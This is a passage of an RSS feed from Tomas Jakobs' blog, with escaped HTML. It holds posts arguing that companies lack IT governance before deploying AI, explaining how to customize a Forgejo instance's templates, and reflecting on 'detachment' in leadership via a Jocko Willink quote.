Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20251007-gaming-linux/">https://blog.jakobs.systems/micro/20251007-gaming-linux/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Flight_Simulator">https://en.wikipedia.org/wiki/Microsoft_Flight_Simulator&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Photogrammetry">https://en.wikipedia.org/wiki/Photogrammetry&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://github.com/astenlund/fs2ff">https://github.com/astenlund/fs2ff&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250125-enroute-flugplanung/">https://blog.jakobs.systems/blog/20250125-enroute-flugplanung/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>When AI Meets a Crumbling Foundation</title><link>https://blog.jakobs.systems/en/blog/20251126-governance-ki/</link><pubDate>Wed, 26 Nov 2025 15:24:25 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251126-governance-ki/</guid><description>Companies deploy AI on decaying IT structures and then wonder why chaos follows.</description><category>AI</category><category>Concepts</category><category>Infrastructure</category><category>Governance</category><category>ISMS</category><content>&lt;p>For many, AI is the great promise for salvation. More efficiency, more ease, more future. Everyone is talking about it, so it must be true. And so many are jumping on the bandwagon, which, from the external perspective, appears to be a big party.My impression is that the discussion in medium-sized companies tends to focus more on opportunities and less on realities. There is a lack of honest assessment of the situation. And by that I don&amp;rsquo;t just mean the technology, but above all the non-technical governance.&lt;/p>
&lt;h2 id="what-is-governance-and-why-do-many-people-struggle-with-it">What is governance and why do many people struggle with it?&lt;/h2>
&lt;p>In the context of an information security management system (ISMS), governance refers to the overarching framework of policies, responsibilities, processes and control mechanisms that ensures that information security is systematically planned, implemented, monitored and continuously improved.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> If an ISMS is the tactic, then governance is the greater strategy.&lt;/p>
&lt;p>Many companies today do not even have governance for classic, completely deterministic systems. In other words, systems whose behaviour should theoretically be completely predictable and controllable.&lt;/p>
&lt;p>How did I come to this conclusion? A brief look at Bitkom&amp;rsquo;s figures on security incidents is convincing: 262 billion euros in total damage to the German economy, of which over 22 billion occurred last year. &lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> Every day, typical Windows-centric corporate networks based on the well-known triad of Windows, Office and AD are literally ‘switched off’. Many of them have specialist staff, risk assessments, IT guidelines, certificates and audits, as well as established ISMS structures. Quite obviously all in vain.&lt;/p>
&lt;p>Quick self-test: If you have to answer ‘no’ to one or more of the following questions, you should definitely read on:&lt;/p>
&lt;ul>
&lt;li>You have a complete overview of all installed software, including dependencies and individual libraries.&lt;/li>
&lt;li>You receive a notification when an unknown device appears.&lt;/li>
&lt;li>You have no shadow IT in the form of private end devices.&lt;/li>
&lt;li>You receive an immediate warning when a specific EventID is triggered, e.g. when users or logs are deleted.&lt;/li>
&lt;li>You can track down which contractor worked remotely between 8 and 9 a.m. six months ago on which of your systems and name him by name in just a few minutes.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s great to have you on board.&lt;br>
Now we&amp;rsquo;re really getting started.&lt;/p>
&lt;h2 id="non-deterministic-ai-on-top">Non-deterministic AI on top&lt;/h2>
&lt;p>What characterises a non-deterministic system?&lt;/p>
&lt;ul>
&lt;li>Two identical inputs can produce different outputs.&lt;/li>
&lt;li>Errors do not arise from fixed rules or code, but from probability distributions.&lt;/li>
&lt;li>Security gaps arise as a by-product of model behaviour.&lt;/li>
&lt;li>Reproducibility and auditability are limited or impossible.&lt;/li>
&lt;/ul>
&lt;p>So we barely have deterministic systems under control, and now we&amp;rsquo;re adding non-deterministic AI on top of that. A system whose behaviour changes depending on input, context, questioner or relative moon humidity.&lt;/p>
&lt;p>That&amp;rsquo;s not courageous.&lt;br>
It&amp;rsquo;s not modern either.&lt;br>
It&amp;rsquo;s negligent.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251126-ai.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251126-ai.webp#c" alt="A quote from Eva Wolfangel for a little hope, source: https://media.ccc.de/v/god2025-56472-keynote-code-dark-age#t=2162" loading="lazy"/>&lt;small>A quote from Eva Wolfangel for a little hope, source: https://media.ccc.de/v/god2025-56472-keynote-code-dark-age#t=2162&lt;/small>&lt;/picture>
&lt;/p>
&lt;h2 id="the-governance-gap">The governance gap&lt;/h2>
&lt;p>The central structural gap in all areas where AI is currently being experimented with arises precisely here. At best, we have the knowledge, methods and tools for classic, deterministic systems. But what we need are approaches for non-deterministic systems.&lt;/p>
&lt;p>What are AI manufacturers and sellers offering us apart from an input slot for an LLM or ready-made results? Not much, according to the BSI white paper:&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;ul>
&lt;li>Little transparency about source code, model architecture or training data&lt;/li>
&lt;li>Few mechanisms to limit model behaviour or AI bias&lt;/li>
&lt;li>Diffusion of responsibility in the event of defects or wrong decisions&lt;/li>
&lt;/ul>
&lt;p>What remains are international reference standards from the OECD and the EU AI Act, which is binding since 2024 and is likely to be known to very few people. Companies are already required to document risk assessments and the AI competence of their employees.&lt;/p>
&lt;p>At least the Heise Academy offers a webinar on responsible AI governance.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>We manage modern systems that we dont fully understand with tools that belong to a different era. AI isnt the problem here. The lack of governance is.&lt;/p>
&lt;p>Before companies unleash AI agents on customers, employees or internal processes, using Vibe Code&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> to create products, they need:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Clean IT and security as a foundation&lt;/strong>&lt;br>
Not as a side issue, but as a non-negotiable basic requirement.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>A governance model for AI&lt;/strong>&lt;br>
With the risk assessment and proof of employee competence already required by law, as well as documentation of traceability, clear boundaries and responsibilities.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Mandatory labelling of AI results and products&lt;/strong>&lt;br>
So that it remains clear where AI is involved. The aforementioned EU AI Act is limited to images. In the IT context, source codes or documentation would be more interesting.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>When Microsoft CEO Satya Nadella claims that 30% of code is already AI-generated,&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> this has implications for software quality.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>At the moment, many are loudly celebrating on a fast-moving train. It is unclear where the journey is headed and when the next stop will be. The digital future of entire companies is currently being built on rubble.&lt;/p>
&lt;p>The few examples I personally know of where AI models are used had to be readjusted afterwards at great effort and expense. MIT estimates that 95% of all AI projects fail due to a ‘weak foundation’. &lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>The issue is rarely the algorithm. The real problem is the weak foundations beneath them: untrusted data, identity systems that aren&amp;rsquo;t secure and infrastructure that cannot meet new demands. Without these basics, projects collapse before they create value.&lt;/p>
&lt;/blockquote>
&lt;p>I couldn&amp;rsquo;t explain it better.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Information_security_management">https://en.wikipedia.org/wiki/Information_security_management&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://bitkom.org/sites/main/files/2025-09/bitkom-pressekonferenz-wirtschaftsschutz-cybercrime.pdf">https://bitkom.org/sites/main/files/2025-09/bitkom-pressekonferenz-wirtschaftsschutz-cybercrime.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20231010-supplychain-management/">https://blog.jakobs.systems/blog/20231010-supplychain-management/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://bsi.bund.de/SharedDocs/Downloads/DE/BSI/KI/Whitepaper-Transparenz-KI-Systeme.pdf?__blob=publicationFile">https://bsi.bund.de/SharedDocs/Downloads/DE/BSI/KI/Whitepaper-Transparenz-KI-Systeme.pdf?__blob=publicationFile&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Vibe_coding">https://en.wikipedia.org/wiki/Vibe_coding&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://techcrunch.com/2025/04/29/microsoft-ceo-says-up-to-30-of-the-companys-code-was-written-by-ai/">https://techcrunch.com/2025/04/29/microsoft-ceo-says-up-to-30-of-the-companys-code-was-written-by-ai/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://golem.de/news/microsoft-windows-kaputt-2511-202456.html">https://golem.de/news/microsoft-windows-kaputt-2511-202456.html&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://forbes.com/councils/forbestechcouncil/2025/11/21/ai-pilots-fail-not-because-of-algorithms-but-because-of-weak-foundations/">https://forbes.com/councils/forbestechcouncil/2025/11/21/ai-pilots-fail-not-because-of-algorithms-but-because-of-weak-foundations/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Customizing Forgejo</title><link>https://blog.jakobs.systems/en/blog/20251117-forgejo-customization/</link><pubDate>Mon, 17 Nov 2025 15:10:18 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251117-forgejo-customization/</guid><description>Well over five years have passed since my last blog series on Gitea. In the meantime, Gitea has gained a far more capable fork in the form of Forgejo, which has long since found its way into my daily practice. Having recently shut down my Gitea instance, which ran as a jail on TrueNAS, I will describe today how I adapted a Forgejo instance to my own requirements instead.</description><category>Opensource</category><category>Forgejo</category><category>git</category><content>&lt;p>More than five years have passed since my last blog series on Gitea.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> In the meantime, Gitea has gained a more powerful fork in Forgejo,&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> which has long been part of my daily workflow. Having recently shut down my Gitea instance running as a jail on TrueNAS,&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> I will outline how I have adapted a Forgejo instance to my specific needs.&lt;/p>
&lt;p>A brief note for context: For simplicity I refer only to Forgejo. I am well aware that many aspects of Forgejo and Gitea remain identical (for now). Yet it should be clear that since Forgejo version 10, it has ceased to be a soft fork.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> In the long run the two projects will diverge.&lt;/p>
&lt;h2 id="the-underlying-concept">The Underlying Concept&lt;/h2>
&lt;p>Forgejo follows a clear design philosophy. Many features that I previously managed in Gitea only through CSS or JavaScript hacks, such as Mermaid integration&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> or an offline CSP,&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> are now built in.&lt;/p>
&lt;p>Everything that deviates from the defaults is placed—independently of the Go single binary into the custom subdirectory of the WORK_PATH at /var/lib/forgejo/custom. This significantly simplifies updates without requiring any recompilation. Another advantage: the contents of the custom directory can themselves be fully placed under version control in a Git repository.&lt;/p>
&lt;p>Anyone familiar with the static site generator Hugo&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> will recognise the TOML&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> templates and Go-style scripting. The concept of combining multiple templates and page components into a final rendered website is almost identica and reminds me to the Server Side Includes (SSI) used 30 years ago.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>&lt;/p>
&lt;h3 id="the-appini-as-the-first-layer">The APP.INI as the First Layer&lt;/h3>
&lt;p>Forgejo provides numerous toggles in the APP.INI that are sufficient for basic UI customisation. Replacing logos, adjusting links, altering registration options, everything is well documented.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Things become more interesting once you want to go beyond what APP.INI can configure: For instance creating a completely blank landing page, a footer containing only legal information and language selection or custom logos and themes in full corporate design without visible Forgejo self-branding.&lt;/p>
&lt;h3 id="the-custom-and-public-directories-as-the-second-layer">The Custom and Public Directories as the Second Layer&lt;/h3>
&lt;p>Upon startup, Forgejo automatically loads all templates in the custom directory and uses them to override its defaults. This provides far greater flexibility than the fixed settings of APP.INI.&lt;/p>
&lt;p>A special role is played by the custom/public directory. This is the area for static files that Forgejo serves just like a web server would. All images, CSS, JavaScript files, as well as the SECURITY.TXT&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> or the RFC 8615 .well-known directory&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> belong here unless handled earlier by a reverse proxy.&lt;/p>
&lt;p>The /custom/templates directory is where it becomes truly interesting. Here reside the TOML templates that govern the entire UI. Depending on subdirectory and filename, you can override specific views.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>&lt;/p>
&lt;h3 id="example">Example&lt;/h3>
&lt;p>Though I publish some of my projects on Codeberg,&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> the majority of them still reside on my protected private instance.&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> This instance should be as minimalistic as possible without the Forgejo hero banner or the self-promotion on the landing page:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251117-forgejo-anpassen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251117-forgejo-anpassen.webp#c" alt="Minimalism: A landing page without logos" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>This can be achieved with a proper home.tmpl file in the custom subdirectory, in which I only render the header and footer:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>{{&lt;span style="color:#a6e22e">template&lt;/span> &lt;span style="color:#e6db74">&amp;#34;base/head&amp;#34;&lt;/span> .}}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{{&lt;span style="color:#a6e22e">template&lt;/span> &lt;span style="color:#e6db74">&amp;#34;base/footer&amp;#34;&lt;/span> .}}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I also wanted the footer without technical details such as load time, version number, or a Swagger API link, but instead containing a link to my own legal notice. This is achieved with the footer_content.tmpl file located in the templates/base subdirectory. Crucially, you must retain the identical CSS classes, conditional placeholders, and language settings. In my case, I took the standard template from the Forgejo Codeberg repository, removed the licence and Swagger API links, and placed the modified version in my custom directory.&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>For me Forgejo is an indispensable component of any software development, documentation or operational automation environment. The use of Git is a central heuristic of digital transformation.&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>&lt;/p>
&lt;p>And yet, even in 2025, there remain alarmingly many, who attempt to undertake software or digitalisation projects without any form of version control.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20200415-gitea-statt-github/">https://blog.jakobs.systems/blog/20200415-gitea-statt-github/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://forgejo.org">https://forgejo.org&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250707-housekeeping/">https://blog.jakobs.systems/blog/20250707-housekeeping/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://forgejo.org/2024-12-gitea-compatibility/">https://forgejo.org/2024-12-gitea-compatibility/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20200524-gitea-uml-mermaid/">https://blog.jakobs.systems/blog/20200524-gitea-uml-mermaid/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20200423-gitea-csp/">https://blog.jakobs.systems/blog/20200423-gitea-csp/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20200818-hugo-als-blog-plattform/">https://blog.jakobs.systems/blog/20200818-hugo-als-blog-plattform/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/TOML">https://en.wikipedia.org/wiki/TOML&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Server_Side_Includes">https://en.wikipedia.org/wiki/Server_Side_Includes&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://forgejo.org/docs/latest/admin/config-cheat-sheet/">https://forgejo.org/docs/latest/admin/config-cheat-sheet/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Security.txt">https://en.wikipedia.org/wiki/Security.txt&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://www.rfc-editor.org/rfc/rfc8615">https://www.rfc-editor.org/rfc/rfc8615&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://codeberg.org/forgejo/forgejo/src/branch/forgejo/templates">https://codeberg.org/forgejo/forgejo/src/branch/forgejo/templates&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs?tab=repositories">https://codeberg.org/tomas-jakobs?tab=repositories&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://git.jakobs.systems">https://git.jakobs.systems&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://codeberg.org/forgejo/forgejo/src/branch/forgejo/templates/base/footer_content.tmpl">https://codeberg.org/forgejo/forgejo/src/branch/forgejo/templates/base/footer_content.tmpl#&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20230208-heuristik-des-tages/">https://blog.jakobs.systems/micro/20230208-heuristik-des-tages/&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Detachment</title><link>https://blog.jakobs.systems/en/blog/20251113-detachment/</link><pubDate>Thu, 13 Nov 2025 14:55:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251113-detachment/</guid><description>For many years I simply could not put the situation, the feeling, into words. Until a few years ago, when I read the book Leadership Strategy and Tactics by Jocko Willink</description><category>Leadership</category><category>Konzepte</category><category>Buch</category><content>&lt;p>Crisis meeting with a managing director and his accountant &amp;ldquo;watchdog&amp;rdquo;. We are in his meeting room, his territory in a mid-sized company. The situation is tense, facts no longer matter. My counterpart’s decision-making style has long been shaped by a lack of governance. As in a close-quarter firefight, the tone becomes louder, more forceful. Not out of clarity or determination, but clearly with the intention to dominate. All signs are set to escalation.&lt;/p>
&lt;p>I lean back. Consciously change my sitting posture. Lift my gaze from the table. Take a noticeably deep breath. A mental step back, not away. That sometimes confuses people, appears arrogant because one seems to be somewhere else and no longer emotionally resonating. Some may interprete this as weakness, others as power-play.&lt;/p>
&lt;p>For many years, I had no name for this ability that had matured in me. I simply couldn’t put the situation, the feeling into words. Until a few years ago when I read Jocko Willink’s book &amp;ldquo;Leadership Strategy and Tactics&amp;rdquo;&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and practically absorbed it.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> One of the few books I have read multiple times and also presented here on the blog.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>It was this subsequent key scene in the book, the simulated clearing operation by the SEAL elite unit on an oil rig, that made the proverbial penny drop for Willink and for me:&lt;/p>
&lt;blockquote>
&lt;p>As we were moving through the structure, the whole platoon entered an area of the rig and became overwhelmed with what was in front of them. It was a large level of the platform [&amp;hellip;], which created numerous hiding areas for enemy personnel and presented a complex tactical problem. The whole platoon stood there, side by side, looking down the sights of our weapons at the potential enemy threats, like an old-fashioned skirmish line. I stood there like the rest of the platoon, scanning for targets and trying to identify dangerous high-pressure or flammable areas while I waited for a call to be made directing us on our next move.&lt;/p>
&lt;p>I waited a little longer. [&amp;hellip;] I waited even longer. Still nothing. Out of my peripheral vision, I saw the guys to my left and right, all doing the same thing I was: Holding their weapons in the ready position, scanning for targets and waiting for the call. [&amp;hellip;] Finally I had enough. I elevated my weapon into &amp;ldquo;high-port&amp;rdquo; position, meaning I pointed it in a safe position toward the sky away from the threats. Then I took a half step back off the firing line and looked to my left and to my right. It was plain to see: every person [&amp;hellip;] was pointing his weapon toward the threat. But no one was looking anywhere else. They could only see the field of view down the sights of their weapons. No one else had situational awareness of anything else going on. [&amp;hellip;] I could see the entire deck, all its obstacles and the simplest way to clear it.&lt;/p>
&lt;p>By stepping back, I had detached myself mentally and physically from the immediate problem, and now it was easy for me to see the solution. [&amp;hellip;] &amp;ldquo;Hold left, move right&amp;rdquo; I barked in as authoritative voice. [&amp;hellip;]&lt;/p>
&lt;p>As they executed the movement, I realized something very powerful. By high-porting my weapon, stepping back off the firing line and looking around, by detaching physically even if only by a few inches, and more important, detaching mentally from the problem at hand, I was able to see infinitely more than anyone else in my platoon.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20220610-buchtipps.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20220610-buchtipps.webp#c" alt="Cover of the Book Leadership Strategy and Tactics" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Jocko Willink’s description of detachment blew me away instantly. I finally had the words for something I had intuitively practiced but had never been able to properly describe for myself or others.&lt;/p>
&lt;ul>
&lt;li>Detachment is a movement in space and in the mind.&lt;/li>
&lt;li>Detachment means first controlling your own mind, not the situation.&lt;/li>
&lt;li>Detachment means freeing yourself from the vortex so you can lead others out.&lt;/li>
&lt;li>Detachment determines who can leverage their tactical advantage in an opaque situation.&lt;/li>
&lt;/ul>
&lt;p>It is at this very moment where sovereign leadership starts. Not in reacting, but in clearly deciding and resolving difficult to critical situations.&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Jocko_Willink">https://en.wikipedia.org/wiki/Jocko_Willink&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>Leadership Strategy and Tactics, Pan Macmillan, ISBN 978-1529-032970&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
